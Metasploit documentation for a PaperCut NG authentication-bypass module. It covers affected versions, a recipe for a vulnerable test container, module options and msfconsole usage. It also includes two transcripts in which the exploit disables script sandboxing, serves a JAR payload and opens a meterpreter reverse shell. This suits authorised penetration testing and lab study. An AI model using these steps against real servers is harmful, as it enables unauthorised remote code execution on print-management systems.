metasploit-gs/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md at 3da170a43c7f288fe9bc88fe325da488733acac3

adam/metasploit-gs

Fork 0

Files

T

Christophe De La Fuente 991b9604e5 Add options to the documentation

2023-06-07 15:05:12 +02:00

9.9 KiB

Raw Blame History

Vulnerable Application

Description

PaperCut NG Authentication Bypass affecting the below versions, see confirmation:

version 8.0.0 to 19.2.7 (inclusive)
version 20.0.0 to 20.1.6 (inclusive)
version 21.0.0 to 21.2.10 (inclusive)
version 22.0.0 to 22.0.8 (inclusive)

See module info for additional references.

Building a Vulnerable Container

Papercut NG can be run in a container. This is useful for creating test environments for verification. To acquire past versions of the software, i.e. known vulnerable versions, see Download past/old PaperCut NG Versions.

Versions 16 and later include a "--non-interactive" switch, easing installation. Below I use podman on Centos 9 Stream to containerize the application for testing.

From an empty directory, create a Dockerfile containing the following:

FROM almalinux
RUN yum install -y procps-ng net-tools cpio sudo perl which
RUN yum install -y initscripts
RUN useradd -ms /bin/bash papercut
RUN usermod -a -G wheel papercut
RUN echo "papercut        ALL=(ALL)       NOPASSWD: ALL" >> /etc/sudoers

COPY pcng-setup-*.sh /

USER papercut
WORKDIR /home/papercut

Download a vulnerable version. Build a container. Run the container while performing the installation.

curl -OJ "https://cdn.papercut.com/files/pcng/16.x/pcng-setup-16.4.39159-linux-x64.sh"
podman build . --tag papercut-16.4.39159
podman run -it --rm -p 9191:9191 localhost/papercut-16.4.39159 /bin/bash -c "sh /*.sh --non-interactive; read"

Note: Be sure to cross reference the target version with the known vulnerable versions, as some of the links in the listed Past Versions are patched.

A URL will be provided in the console to access the application, but you will likely need to use an IP accessible from your metasploit host, e.g. 127.0.0.1 in order to complete the application setup. After setup, you may commit changes to the container & tag the new image to maintain your configuration changes. In the future the service can be restarted using /etc/init.d/papercut start from within the container.

Caveat: When first starting the server or after completing the installation, at least one user needs to login. I think this has something to do with getting the license manager into the correct state (i.e. loading the license). When this is not yet done then the Authentication Bypass is still functional leading to a "Target Vulnerable" message during check. However, when attempting to select the "[Template Printer]" a redirect to the About page occurs instead. Ensuring a logon can be done by using the "Login" button presented on the SetupCompleted page used for the bypass. This scenario is not covered in the module as it is unlikely to be an issue on any network that is currently in use.

Options

TARGETURI

Path to the papercut application. Default is /app.

HTTPDELAY

Number of seconds the web server will wait before termination. Default is 10.

Verification Steps

./msfconsole -q
use multi/http/papercut_ng_auth_bypass
set RHOSTS [target]
run

Scenarios

Tested on Linux x64 with PaperCut NG Version 22.0.8.65201

msf6 > use exploit/multi/http/papercut_ng_auth_bypass
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101
RHOSTS => 10.0.4.101
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101
LHOST => 10.0.4.101
msf6 exploit(multi/http/papercut_ng_auth_bypass) > run

[-] Handler failed to bind to 10.0.4.101:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Bypass successful and created session: JSESSIONID=node0cwd0h7aut351pzjcifwvdyg25.node0
[+] The target is vulnerable.
[*] Setting server option 'print-and-device.script.enabled' to 'Y') was 'N'
[*] Setting server option 'print.script.sandboxed' to 'N') was 'Y'
[*] Using URL: http://10.0.4.101:8080/rYrjrI0
[*] Server started.
[*] Sending payload for requested uri: /rYrjrI0.jar
[*] Sending payload for requested uri: /rYrjrI0.jar
[*] Sending stage (58851 bytes) to 10.0.2.100
[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:46224) at 2023-05-11 01:13:29 +0000
[*] Server stopped.
[*] rolling back 'print.script.sandboxed' to 'Y'
[*] Setting server option 'print.script.sandboxed' to 'Y') was 'N'
[*] rolling back 'print-and-device.script.enabled' to 'N'
[*] Setting server option 'print-and-device.script.enabled' to 'N') was 'Y'

meterpreter >

Note: Sandboxing is enabled by default in this version, scripting must be enabled and sandboxing must be disabled.

Tested on Linux x64 with PaperCut NG Version 19.2.7.62200

msf6 > use exploit/multi/http/papercut_ng_auth_bypass
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101
RHOSTS => 10.0.4.101
msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101
LHOST => 10.0.4.101
msf6 exploit(multi/http/papercut_ng_auth_bypass) > run

[-] Handler failed to bind to 10.0.4.101:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Bypass successful and created session: JSESSIONID=node01j4of6hup0i131vs585edo0uqb2.node0
[+] The target is vulnerable.
[*] Setting server option 'print-and-device.script.enabled' to 'Y') was 'N'
[*] Setting server option 'print.script.sandboxed' to 'N') was 'Y'
[*] Using URL: http://10.0.4.101:8080/PWMM7S32xpRY7
[*] Server started.
[*] Sending payload for requested uri: /PWMM7S32xpRY7.jar
[*] Sending payload for requested uri: /PWMM7S32xpRY7.jar
[*] Sending stage (58851 bytes) to 10.0.2.100
[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:35072) at 2023-05-11 01:25:25 +0000
[*] Server stopped.
[*] Rolling back 'print.script.sandboxed' to 'Y'
[*] Setting server option 'print.script.sandboxed' to 'Y') was 'N'
[*] Rolling back 'print-and-device.script.enabled' to 'N'
[*] Setting server option 'print-and-device.script.enabled' to 'N') was 'Y'

meterpreter >